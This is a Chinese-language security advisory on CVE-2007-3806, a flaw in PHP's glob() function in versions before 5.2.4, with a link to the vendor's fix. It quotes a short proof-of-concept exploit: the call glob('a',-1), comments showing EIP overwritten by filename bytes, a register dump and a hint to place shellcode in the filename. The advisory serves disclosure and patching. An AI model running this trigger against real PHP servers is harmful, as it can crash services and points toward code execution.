BUGTRAQ ID: 24922,25498
CVE(CAN) ID: CVE-2007-3806
PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。
PHP的glob函数实现上存在漏洞,远程攻击者可能利用此漏洞导致程序崩溃。
PHP中的glob函数参数值应为传送给[int $flags]的参数的整数值,因此如果提交了非整数值(如-1)的话, 就可能导致函数中出现无效读取操作,造成拒绝服务。
PHP < 5.2.4
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
<a href=“http://www.php.net/downloads.php” target=“_blank”>http://www.php.net/downloads.php</a>
<?php
//PHP 5.2.3 glob() Remote DoS Exploit
//author: shinnai
//mail: shinnai[at]autistici[dot]org
//site: http://shinnai.altervista.org
//Tested on xp sp2, worked both from the cli (EIP overwrite) and on apache (Denial of Service)
//Bug discovered with "Footzo" (thanks to rgod).
//To download Footzo:
//original link: http://godr.altervista.org/index.php?mod=Download/useful_tools#footzo.rar
//alternative: http://www.shinnai.altervista.org/index.php?mod=Download/Utilities#footzo.rar
//as you know, glob function expects an integer value passed to "[int $flags] " parameter
//so when you give it something not integer (like -1) a funny thing happens:
//I never seen something like that, EIP is overwrite with 4 bytes of filename :D
//if you save aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb.php under C:\ and launch it
//registers content will appear as follow:
//EAX 00C0F8EC
//ECX 00C0E9FC ASCII "C:\\aaaa"
//EDX 00C0EC1C
//EBX 00C0EC64 UNICODE "C:\\aaaa"
//ESP 00C0E9F0
//EBP 00000000
//ESI 00C0F8EC
//EDI 00C0EC74
//EIP 62626262
//any idea? put shellcode in filename :D
glob("a",-1);
?>